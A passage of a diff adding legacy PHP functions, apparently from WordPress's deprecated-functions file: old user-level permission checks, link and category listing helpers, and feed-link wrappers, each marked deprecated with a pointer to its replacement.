+function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	$author_data = get_userdata($user_id);
+	return ($author_data->user_level >= 1);
+}
+
+/**
+ * Whether user can edit a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool
+ */
+function user_can_edit_post($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function(__FUNCTION__, '0', 'current_user_can()');
+
+	$author_data = get_userdata($user_id);
+	$post = get_post($post_id);
+	$post_author_data = get_userdata($post->post_author);
+
+	if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' &&  $author_data->user_level < 2))
+			 || ($author_data->user_level > $post_author_data->user_level)
+			 || ($author_data->user_level >= 10) ) {
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool
+ */
+function user_can_delete_post($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	// right now if one can edit, one can delete
+	return user_can_edit_post($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Whether user can set new posts' dates.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	$author_data = get_userdata($user_id);
+	return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id));
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can edit $post_id's date
+ */
+function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	$author_data = get_userdata($user_id);
+	return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id));
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can edit $post_id's comments
+ */
+function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	// right now if one can edit a post, one can edit comments made on it
+	return user_can_edit_post($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can delete $post_id's comments
+ */
+function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	// right now if one can edit comments, one can delete comments
+	return user_can_edit_post_comments($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Can user can edit other user.
+ *
+ * @since 1.5
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $other_user
+ * @return bool
+ */
+function user_can_edit_user($user_id, $other_user) {
+	_deprecated_function(__FUNCTION__, '0.0', 'current_user_can()');
+
+	$user  = get_userdata($user_id);
+	$other = get_userdata($other_user);
+	if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID )
+		return true;
+	else
+		return false;
+}
+
+/**
+ * Gets the links associated with category $cat_name.
+ *
+ * @since 0.71
+ * @deprecated Use get_links()
+ * @see get_links()
+ *
+ * @param string $cat_name Optional. The category name to use. If no match is found uses all.
+ * @param string $before Optional. The html to output before the link.
+ * @param string $after Optional. The html to output after the link.
+ * @param string $between Optional. The html to output between the link/image and it's description. Not used if no image or $show_images is true.
+ * @param bool $show_images Optional. Whether to show images (if defined).
+ * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', 'description' or 'rating'. Or maybe owner.
+ *		If you start the name with an underscore the order will be reversed. You can also specify 'rand' as the order which will return links in a
+ *		random order.
+ * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined.
+ * @param bool $show_rating Optional. Show rating stars/chars.
+ * @param int $limit		Optional. Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Optional. Whether to show last updated timestamp
+ */
+function get_linksbyname($cat_name = "noname", $before = '', $after = '<br />', $between = " ", $show_images = true, $orderby = 'id',
+						 $show_description = true, $show_rating = false,
+						 $limit = -1, $show_updated = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_links()');
+
+	$cat_id = -1;
+	$cat = get_term_by('name', $cat_name, 'link_category');
+	if ( $cat )
+		$cat_id = $cat->term_id;
+
+	get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated);
+}
+
+/**
+ * Gets the links associated with the named category.
+ *
+ * @since 1.0.1
+ * @deprecated Use wp_get_links()
+ * @see wp_get_links()
+ *
+ * @param string $category The category to use.
+ * @param string $args
+ * @return bool|null
+ */
+function wp_get_linksbyname($category, $args = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_get_links()');
+
+	$cat = get_term_by('name', $category, 'link_category');
+	if ( !$cat )
+		return false;
+	$cat_id = $cat->term_id;
+
+	$args = add_query_arg('category', $cat_id, $args);
+	wp_get_links($args);
+}
+
+/**
+ * Gets an array of link objects associated with category $cat_name.
+ *
+ * <code>
+ *	$links = get_linkobjectsbyname('fred');
+ *	foreach ($links as $link) {
+ * 		echo '<li>'.$link->link_name.'</li>';
+ *	}
+ * </code>
+ *
+ * @since 1.0.1
+ * @deprecated Use get_linkobjects()
+ * @see get_linkobjects()
+ *
+ * @param string $cat_name The category name to use. If no match is found uses all.
+ * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url', 'description', or 'rating'.
+ *		Or maybe owner. If you start the name with an underscore the order will be reversed. You can also
+ *		specify 'rand' as the order which will return links in a random order.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @return unknown
+ */
+function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_linkobjects()');
+
+	$cat_id = -1;
+	$cat = get_term_by('name', $cat_name, 'link_category');
+	if ( $cat )
+		$cat_id = $cat->term_id;
+
+	return get_linkobjects($cat_id, $orderby, $limit);
+}
+
+/**
+ * Gets an array of link objects associated with category n.
+ *
+ * Usage:
+ * <code>
+ *	$links = get_linkobjects(1);
+ *	if ($links) {
+ *		foreach ($links as $link) {
+ *			echo '<li>'.$link->link_name.'<br />'.$link->link_description.'</li>';
+ *		}
+ *	}
+ * </code>
+ *
+ * Fields are:
+ * <ol>
+ *	<li>link_id</li>
+ *	<li>link_url</li>
+ *	<li>link_name</li>
+ *	<li>link_image</li>
+ *	<li>link_target</li>
+ *	<li>link_category</li>
+ *	<li>link_description</li>
+ *	<li>link_visible</li>
+ *	<li>link_owner</li>
+ *	<li>link_rating</li>
+ *	<li>link_updated</li>
+ *	<li>link_rel</li>
+ *	<li>link_notes</li>
+ * </ol>
+ *
+ * @since 1.0.1
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @return unknown
+ */
+function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()');
+
+	$links = get_bookmarks("category=$category&orderby=$orderby&limit=$limit");
+
+	$links_array = array();
+	foreach ($links as $link)
+		$links_array[] = $link;
+
+	return $links_array;
+}
+
+/**
+ * Gets the links associated with category 'cat_name' and display rating stars/chars.
+ *
+ * @since 0.71
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name The category name to use. If no match is found uses all
+ * @param string $before The html to output before the link
+ * @param string $after The html to output after the link
+ * @param string $between The html to output between the link/image and it's description. Not used if no image or show_images is true
+ * @param bool $show_images Whether to show images (if defined).
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param bool $show_description Whether to show the description if show_images=false/not defined
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Whether to show last updated timestamp
+ */
+function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '<br />', $between = " ",
+									$show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()');
+
+	get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
+}
+
+/**
+ * Gets the links associated with category n and display rating stars/chars.
+ *
+ * @since 0.71
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $before The html to output before the link
+ * @param string $after The html to output after the link
+ * @param string $between The html to output between the link/image and it's description. Not used if no image or show_images == true
+ * @param bool $show_images Whether to show images (if defined).
+ * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param bool $show_description Whether to show the description if show_images=false/not defined.
+ * @param string $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Whether to show last updated timestamp
+ */
+function get_links_withrating($category = -1, $before = '', $after = '<br />', $between = " ", $show_images = true,
+							  $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()');
+
+	get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
+}
+
+/**
+ * Gets the auto_toggle setting.
+ *
+ * @since 0.71
+ * @deprecated No alternative function available
+ *
+ * @param int $id The category to get. If no category supplied uses 0
+ * @return int Only returns 0.
+ */
+function get_autotoggle($id = 0) {
+	_deprecated_function(__FUNCTION__, '0.0' );
+	return 0;
+}
+
+/**
+ * @since 0.71
+ * @deprecated Use wp_list_categories()
+ * @see wp_list_categories()
+ *
+ * @param int $optionall
+ * @param string $all
+ * @param string $sort_column
+ * @param string $sort_order
+ * @param string $file
+ * @param bool $list
+ * @param int $optiondates
+ * @param int $optioncount
+ * @param int $hide_empty
+ * @param int $use_desc_for_title
+ * @param bool $children
+ * @param int $child_of
+ * @param int $categories
+ * @param int $recurse
+ * @param string $feed
+ * @param string $feed_image
+ * @param string $exclude
+ * @param bool $hierarchical
+ * @return unknown
+ */
+function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0,
+				   $optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0,
+				   $recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_list_categories()');
+
+	$query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children',
+		'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical');
+	return wp_list_cats($query);
+}
+
+/**
+ * @since 1.2
+ * @deprecated Use wp_list_categories()
+ * @see wp_list_categories()
+ *
+ * @param string|array $args
+ * @return unknown
+ */
+function wp_list_cats($args = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_list_categories()');
+
+	$r = wp_parse_args( $args );
+
+	// Map to new names.
+	if ( isset($r['optionall']) && isset($r['all']))
+		$r['show_option_all'] = $r['all'];
+	if ( isset($r['sort_column']) )
+		$r['orderby'] = $r['sort_column'];
+	if ( isset($r['sort_order']) )
+		$r['order'] = $r['sort_order'];
+	if ( isset($r['optiondates']) )
+		$r['show_last_update'] = $r['optiondates'];
+	if ( isset($r['optioncount']) )
+		$r['show_count'] = $r['optioncount'];
+	if ( isset($r['list']) )
+		$r['style'] = $r['list'] ? 'list' : 'break';
+	$r['title_li'] = '';
+
+	return wp_list_categories($r);
+}
+
+/**
+ * @since 0.71
+ * @deprecated Use wp_dropdown_categories()
+ * @see wp_dropdown_categories()
+ *
+ * @param int $optionall
+ * @param string $all
+ * @param string $orderby
+ * @param string $order
+ * @param int $show_last_update
+ * @param int $show_count
+ * @param int $hide_empty
+ * @param bool $optionnone
+ * @param int $selected
+ * @param int $exclude
+ * @return unknown
+ */
+function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc',
+		$show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false,
+		$selected = 0, $exclude = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_dropdown_categories()');
+
+	$show_option_all = '';
+	if ( $optionall )
+		$show_option_all = $all;
+
+	$show_option_none = '';
+	if ( $optionnone )
+		$show_option_none = __('None');
+
+	$vars = compact('show_option_all', 'show_option_none', 'orderby', 'order',
+					'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude');
+	$query = add_query_arg($vars, '');
+	return wp_dropdown_categories($query);
+}
+
+/**
+ * @since 2.1
+ * @deprecated Use wp_tiny_mce().
+ * @see wp_tiny_mce()
+ */
+function tinymce_include() {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_tiny_mce()');
+
+	wp_tiny_mce();
+}
+
+/**
+ * @since 1.2
+ * @deprecated Use wp_list_authors()
+ * @see wp_list_authors()
+ *
+ * @param bool $optioncount
+ * @param bool $exclude_admin
+ * @param bool $show_fullname
+ * @param bool $hide_empty
+ * @param string $feed
+ * @param string $feed_image
+ * @return unknown
+ */
+function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_list_authors()');
+
+	$args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image');
+	return wp_list_authors($args);
+}
+
+/**
+ * @since 1.0.1
+ * @deprecated Use wp_get_post_categories()
+ * @see wp_get_post_categories()
+ *
+ * @param int $blogid Not Used
+ * @param int $post_ID
+ * @return unknown
+ */
+function wp_get_post_cats($blogid = '1', $post_ID = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_get_post_categories()');
+	return wp_get_post_categories($post_ID);
+}
+
+/**
+ * Sets the categories that the post id belongs to.
+ *
+ * @since 1.0.1
+ * @deprecated Use wp_set_post_categories()
+ * @see wp_set_post_categories()
+ *
+ * @param int $blogid Not used
+ * @param int $post_ID
+ * @param array $post_categories
+ * @return unknown
+ */
+function wp_set_post_cats($blogid = '1', $post_ID = 0, $post_categories = array()) {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_set_post_categories()');
+	return wp_set_post_categories($post_ID, $post_categories);
+}
+
+/**
+ * @since 0.71
+ * @deprecated Use wp_get_archives()
+ * @see wp_get_archives()
+ *
+ * @param string $type
+ * @param string $limit
+ * @param string $format
+ * @param string $before
+ * @param string $after
+ * @param bool $show_post_count
+ * @return unknown
+ */
+function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_get_archives()');
+	$args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count');
+	return wp_get_archives($args);
+}
+
+/**
+ * Returns or Prints link to the author's posts.
+ *
+ * @since 1.2
+ * @deprecated Use get_author_posts_url()
+ * @see get_author_posts_url()
+ *
+ * @param bool $echo Optional.
+ * @param int $author_id Required.
+ * @param string $author_nicename Optional.
+ * @return string|null
+ */
+function get_author_link($echo = false, $author_id, $author_nicename = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_author_posts_url()');
+
+	$link = get_author_posts_url($author_id, $author_nicename);
+
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Print list of pages based on arguments.
+ *
+ * @since 0.71
+ * @deprecated Use wp_link_pages()
+ * @see wp_link_pages()
+ *
+ * @param string $before
+ * @param string $after
+ * @param string $next_or_number
+ * @param string $nextpagelink
+ * @param string $previouspagelink
+ * @param string $pagelink
+ * @param string $more_file
+ * @return string
+ */
+function link_pages($before='<br />', $after='<br />', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page',
+					$pagelink='%', $more_file='') {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_link_pages()');
+
+	$args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file');
+	return wp_link_pages($args);
+}
+
+/**
+ * Get value based on option.
+ *
+ * @since 0.71
+ * @deprecated Use get_option()
+ * @see get_option()
+ *
+ * @param string $option
+ * @return string
+ */
+function get_settings($option) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_option()');
+
+	return get_option($option);
+}
+
+/**
+ * Print the permalink of the current post in the loop.
+ *
+ * @since 0.71
+ * @deprecated Use the_permalink()
+ * @see the_permalink()
+ */
+function permalink_link() {
+	_deprecated_function(__FUNCTION__, '0.0', 'the_permalink()');
+	the_permalink();
+}
+
+/**
+ * Print the permalink to the RSS feed.
+ *
+ * @since 0.71
+ * @deprecated Use the_permalink_rss()
+ * @see the_permalink_rss()
+ *
+ * @param string $file
+ */
+function permalink_single_rss($deprecated = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'the_permalink_rss()');
+	the_permalink_rss();
+}
+
+/**
+ * Gets the links associated with category.
+ *
+ * @see get_links() for argument information that can be used in $args
+ * @since 1.0.1
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $args a query string
+ * @return null|string
+ */
+function wp_get_links($args = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()');
+
+	if ( strpos( $args, '=' ) === false ) {
+		$cat_id = $args;
+		$args = add_query_arg( 'category', $cat_id, $args );
+	}
+
+	$defaults = array(
+		'category' => -1, 'before' => '',
+		'after' => '<br />', 'between' => ' ',
+		'show_images' => true, 'orderby' => 'name',
+		'show_description' => true, 'show_rating' => false,
+		'limit' => -1, 'show_updated' => true,
+		'echo' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	return get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated, $echo);
+}
+
+/**
+ * Gets the links associated with category by id.
+ *
+ * @since 0.71
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $before the html to output before the link
+ * @param string $after the html to output after the link
+ * @param string $between the html to output between the link/image and its description.
+ *		Not used if no image or show_images == true
+ * @param bool $show_images whether to show images (if defined).
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the order
+ *		which will return links in a random order.
+ * @param bool $show_description whether to show the description if show_images=false/not defined.
+ * @param bool $show_rating show rating stars/chars
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated whether to show last updated timestamp
+ * @param bool $echo whether to echo the results, or return them instead
+ * @return null|string
+ */
+function get_links($category = -1, $before = '', $after = '<br />', $between = ' ', $show_images = true, $orderby = 'name',
+			$show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $echo = true) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()');
+
+	$order = 'ASC';
+	if ( substr($orderby, 0, 1) == '_' ) {
+		$order = 'DESC';
+		$orderby = substr($orderby, 1);
+	}
+
+	if ( $category == -1 ) //get_bookmarks uses '' to signify all categories
+		$category = '';
+
+	$results = get_bookmarks("category=$category&orderby=$orderby&order=$order&show_updated=$show_updated&limit=$limit");
+
+	if ( !$results )
+		return;
+
+	$output = '';
+
+	foreach ( (array) $results as $row ) {
+		if ( !isset($row->recently_updated) )
+			$row->recently_updated = false;
+		$output .= $before;
+		if ( $show_updated && $row->recently_updated )
+			$output .= get_option('links_recently_updated_prepend');
+		$the_link = '#';
+		if ( !empty($row->link_url) )
+			$the_link = esc_url($row->link_url);
+		$rel = $row->link_rel;
+		if ( '' != $rel )
+			$rel = ' rel="' . $rel . '"';
+
+		$desc = esc_attr(sanitize_bookmark_field('link_description', $row->link_description, $row->link_id, 'display'));
+		$name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display'));
+		$title = $desc;
+
+		if ( $show_updated )
+			if (substr($row->link_updated_f, 0, 2) != '00')
+				$title .= ' ('.__('Last updated') . ' ' . date(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * 3600)) . ')';
+
+		if ( '' != $title )
+			$title = ' title="' . $title . '"';
+
+		$alt = ' alt="' . $name . '"';
+
+		$target = $row->link_target;
+		if ( '' != $target )
+			$target = ' target="' . $target . '"';
+
+		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target. '>';
+
+		if ( $row->link_image != null && $show_images ) {
+			if ( strpos($row->link_image, 'http') !== false )
+				$output .= "<img src=\"$row->link_image\" $alt $title />";
+			else // If it's a relative path
+				$output .= "<img src=\"" . get_option('siteurl') . "$row->link_image\" $alt $title />";
+		} else {
+			$output .= $name;
+		}
+
+		$output .= '</a>';
+
+		if ( $show_updated && $row->recently_updated )
+			$output .= get_option('links_recently_updated_append');
+
+		if ( $show_description && '' != $desc )
+			$output .= $between . $desc;
+
+		if ($show_rating) {
+			$output .= $between . get_linkrating($row);
+		}
+
+		$output .= "$after\n";
+	} // end while
+
+	if ( !$echo )
+		return $output;
+	echo $output;
+}
+
+/**
+ * Output entire list of links by category.
+ *
+ * Output a list of all links, listed by category, using the settings in
+ * $wpdb->linkcategories and output it as a nested HTML unordered list.
+ *
+ * @author Dougal
+ * @since 1.0.1
+ * @deprecated Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $order Sort link categories by 'name' or 'id'
+ * @param string $$deprecated Not Used
+ */
+function get_links_list($order = 'name', $deprecated = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'wp_list_bookmarks()');
+
+	$order = strtolower($order);
+
+	// Handle link category sorting
+	$direction = 'ASC';
+	if ( '_' == substr($order,0,1) ) {
+		$direction = 'DESC';
+		$order = substr($order,1);
+	}
+
+	if ( !isset($direction) )
+		$direction = '';
+
+	$cats = get_categories("type=link&orderby=$order&order=$direction&hierarchical=0");
+
+	// Display each category
+	if ( $cats ) {
+		foreach ( (array) $cats as $cat ) {
+			// Handle each category.
+
+			// Display the category name
+			echo '  <li id="linkcat-' . $cat->term_id . '" class="linkcat"><h2>' . apply_filters('link_category', $cat->name ) . "</h2>\n\t<ul>\n";
+			// Call get_links() with all the appropriate params
+			get_links($cat->term_id, '<li>', "</li>", "\n", true, 'name', false);
+
+			// Close the last category
+			echo "\n\t</ul>\n</li>\n";
+		}
+	}
+}
+
+/**
+ * Show the link to the links popup and the number of links.
+ *
+ * @author Fullo
+ * @link http://sprite.csr.unibo.it/fullo/
+ *
+ * @since 0.71
+ * @deprecated {@internal Use function instead is unknown}}
+ *
+ * @param string $text the text of the link
+ * @param int $width the width of the popup window
+ * @param int $height the height of the popup window
+ * @param string $file the page to open in the popup window
+ * @param bool $count the number of links in the db
+ */
+function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) {
+	_deprecated_function(__FUNCTION__, '0.0' );
+
+	if ( $count )
+		$counts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->links");
+
+	$javascript = "<a href=\"#\" onclick=\"javascript:window.open('$file?popup=1', '_blank', 'width=$width,height=$height,scrollbars=yes,status=no'); return false\">";
+	$javascript .= $text;
+
+	if ( $count )
+		$javascript .= " ($counts)";
+
+	$javascript .= "</a>\n\n";
+		echo $javascript;
+}
+
+/**
+ * @since 1.0.1
+ * @deprecated Use sanitize_bookmark_field()
+ * @see sanitize_bookmark_field()
+ *
+ * @param object $link
+ * @return unknown
+ */
+function get_linkrating($link) {
+	_deprecated_function(__FUNCTION__, '0.0', 'sanitize_bookmark_field()');
+	return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display');
+}
+
+/**
+ * Gets the name of category by id.
+ *
+ * @since 0.71
+ * @deprecated Use get_category()
+ * @see get_category()
+ *
+ * @param int $id The category to get. If no category supplied uses 0
+ * @return string
+ */
+function get_linkcatname($id = 0) {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_category()');
+
+	$id = (int) $id;
+
+	if ( empty($id) )
+		return '';
+
+	$cats = wp_get_link_cats($id);
+
+	if ( empty($cats) || ! is_array($cats) )
+		return '';
+
+	$cat_id = (int) $cats[0]; // Take the first cat.
+
+	$cat = get_category($cat_id);
+	return $cat->name;
+}
+
+/**
+ * Print RSS comment feed link.
+ *
+ * @since 1.0.1
+ * @deprecated Use post_comments_feed_link()
+ * @see post_comments_feed_link()
+ *
+ * @param string $link_text
+ * @param string $deprecated Not used
+ */
+function comments_rss_link($link_text = 'Comments RSS', $deprecated = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'post_comments_feed_link()');
+	post_comments_feed_link($link_text);
+}
+
+/**
+ * Print/Return link to category RSS2 feed.
+ *
+ * @since 1.2
+ * @deprecated Use get_category_feed_link()
+ * @see get_category_feed_link()
+ *
+ * @param bool $echo
+ * @param int $cat_ID
+ * @param string $deprecated Not used
+ * @return string|null
+ */
+function get_category_rss_link($echo = false, $cat_ID = 1, $deprecated = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_category_feed_link()');
+
+	$link = get_category_feed_link($cat_ID, 'rss2');
+
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Print/Return link to author RSS feed.
+ *
+ * @since 1.2
+ * @deprecated Use get_author_feed_link()
+ * @see get_author_feed_link()
+ *
+ * @param bool $echo
+ * @param int $author_id
+ * @param string $deprecated Not used
+ * @return string|null
+ */
+function get_author_rss_link($echo = false, $author_id = 1, $deprecated = '') {
+	_deprecated_function(__FUNCTION__, '0.0', 'get_author_feed_link()');
+
+	$link = get_author_feed_link($author_id);
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Return link to the post RSS feed.
+ *
+ * @since 1.5
+ * @deprecated Use get_post_comments_feed_link()
+ * @see get_post_comments_feed_link()
+ *
+ * @param string $deprecated Not used
+ * @return string
+ */
+function comments_rss($deprecated = '') {
+	_deprecated_function(__FUNCTION__, '2.2', 'get_post_comments_feed_link()');
+	return get_post_comments_feed_link();
+}
+
+/**
+ * An alias of wp_create_user().
+ *
+ * @param string $username The user's username.
+ * @param string $password The user's password.
+ * @param string $email The user's email (optional).
+ * @return int The new user's ID.
+ * @deprecated Use wp_create_user()
+ * @see wp_create_user()
+ */
+function create_user($username, $password, $email) {
+	_deprecated_function( __FUNCTION__, '2.0', 'wp_create_user()' );
+	return wp_create_user($username, $password, $email);
+}
+
+/**
+ * Unused Admin function.
+ *
+ * @since 2.0
+ * @param string $deprecated Unknown
+ * @deprecated 2.5
+ */
+function documentation_link( $deprecated = '' ) {
+	_deprecated_function( __FUNCTION__, '2.5', '' );
+	return;
+}
+
+/**
+ * Unused function.
+ *
+ * @deprecated 2.5
+*/
+function gzip_compression() {
+	return false;
+}
+
+/**
+ * Retrieve an array of comment data about comment $comment_ID.
+ *
+ * @deprecated Use get_comment()
+ * @see get_comment()
+ * @since 0.71
+ *
+ * @uses $id
+ * @uses $wpdb Database Object
+ *
+ * @param int $comment_ID The ID of the comment
+ * @param int $no_cache Whether to use the cache or not (casted to bool)
+ * @param bool $include_unapproved Whether to include unapproved comments or not
+ * @return array The comment data
+ */
+function get_commentdata( $comment_ID, $no_cache = 0, $include_unapproved = false ) {
+	_deprecated_function( __FUNCTION__, '2.7', 'get_comment()' );
+	return get_comment($comment_ID, ARRAY_A);
+}
+
+/**
+ * Retrieve the category name by the category ID.
+ *
+ * @since 0.71
+ * @deprecated Use get_cat_name()
+ * @see get_cat_name() get_catname() is deprecated in favor of get_cat_name().
+ *
+ * @param int $cat_ID Category ID
+ * @return string category name
+ */
+function get_catname( $cat_ID ) {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_cat_name()');
+	return get_cat_name( $cat_ID );
+}
+
+/**
+ * Retrieve category children list separated before and after the term IDs.
+ *
+ * @since 1.2.0
+ *
+ * @param int $id Category ID to retrieve children.
+ * @param string $before Optional. Prepend before category term ID.
+ * @param string $after Optional, default is empty string. Append after category term ID.
+ * @param array $visited Optional. Category Term IDs that have already been added.
+ * @return string
+ */
+function get_category_children( $id, $before = '/', $after = '', $visited = array() ) {
+	_deprecated_function(__FUNCTION__, '2.8', 'get_term_children()');
+	if ( 0 == $id )
+		return '';
+
+	$chain = '';
+	/** TODO: consult hierarchy */
+	$cat_ids = get_all_category_ids();
+	foreach ( (array) $cat_ids as $cat_id ) {
+		if ( $cat_id == $id )
